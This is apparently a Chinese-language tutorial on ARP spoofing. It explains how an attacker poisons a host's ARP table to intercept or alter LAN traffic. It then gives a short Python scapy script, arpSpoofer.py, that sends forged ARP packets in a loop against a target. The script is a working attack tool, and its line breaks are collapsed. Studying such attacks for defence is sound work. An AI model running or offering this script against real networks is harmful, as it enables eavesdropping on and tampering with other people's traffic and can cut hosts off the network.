標籤:arp欺騙 scapy python arpspoofer
1. 說明
ARP欺騙(ARP spoofing),又稱ARP病毒(ARP poisoning)或ARP攻擊,是針對乙太網路位址解析通訊協定(ARP)的一種攻擊技術。此種攻擊可讓攻擊者擷取區域網路上的資料包甚至可篡改資料包,且可讓網路上特定電腦或所有電腦無法正常串連。最早探討ARP欺騙的文章是由Yuri Volobue所寫的《ARP與ICMP轉向遊戲》(ARP and ICMP redirection games)。
由於區域網路的網路流通不是根據IP地址進行,而是根據MAC地址進行傳輸。所以,MAC地址在主機A上被偽造成一個不存在的MAC地址,這樣就會導致網路不通,主機A不能Ping通主機C!這就是一個簡單的ARP欺騙。
一個簡單的例子:這裡用一個最簡單的案例來說明ARP欺騙的核心步驟。假設在一個 LAN 裡,只有三台主機 A, B, C, 且 C 是攻擊者。
1. 攻擊者聆聽區域網路上的MAC地址。它只要收到兩台主機洪泛的ARP Request,就可以進行欺騙活動。
2. 主機A,B都洪泛了ARP Request.攻擊者現在有了兩台主機的IP、MAC地址,開始攻擊。
攻擊者發送一個 ARP Reply給主機B,把此包protocol header 裡的sender IP設為A的IP地址, sender mac設為攻擊者自己的MAC地址。
3. 主機B收到ARP Reply後,更新它的ARP表,把主機 A的條目 (IP_A, MAC_A)改為(IP_A, MAC_C)。
4. 當主機B要發送資料包給主機A時,它根據ARP表來封裝資料包的Link前序,把目的MAC地址設為MAC_C,而非MAC_A.
5. 當交換器收到B發送給A的資料包時,根據此包的目的MAC地址 (MAC_C) 而把資料包轉寄給攻擊者C.
6. 攻擊者收到資料包後,可以把它存起來後再發送給A,達到偷聽效果。攻擊者也可以篡改資料後才發送資料包給A,造成傷害。
2. python 代碼
#!/usr/bin/env pythonfrom scapy.all import *import sys, getoptdef usage(): print "Usage: sudo ./arpSpoofer.py [-i interface] <target> <host>"def main(argv): try: opts, args = getopt.getopt(argv, "hi:t:") except getopt.GetoptError: usage() sys.exit(2) for opt, arg in opts: if opt in ("-h"): usage() sys.exit() elif opt in ("-i"): conf.iface = arg if len(args) < 2: usage() sys.exit(2) send(ARP(op="who-has", psrc=args[1], pdst=args[0]), loop=1, inter=0.5)if __name__ == "__main__": main(sys.argv[1:])
python 使用scapy庫進行ARP欺騙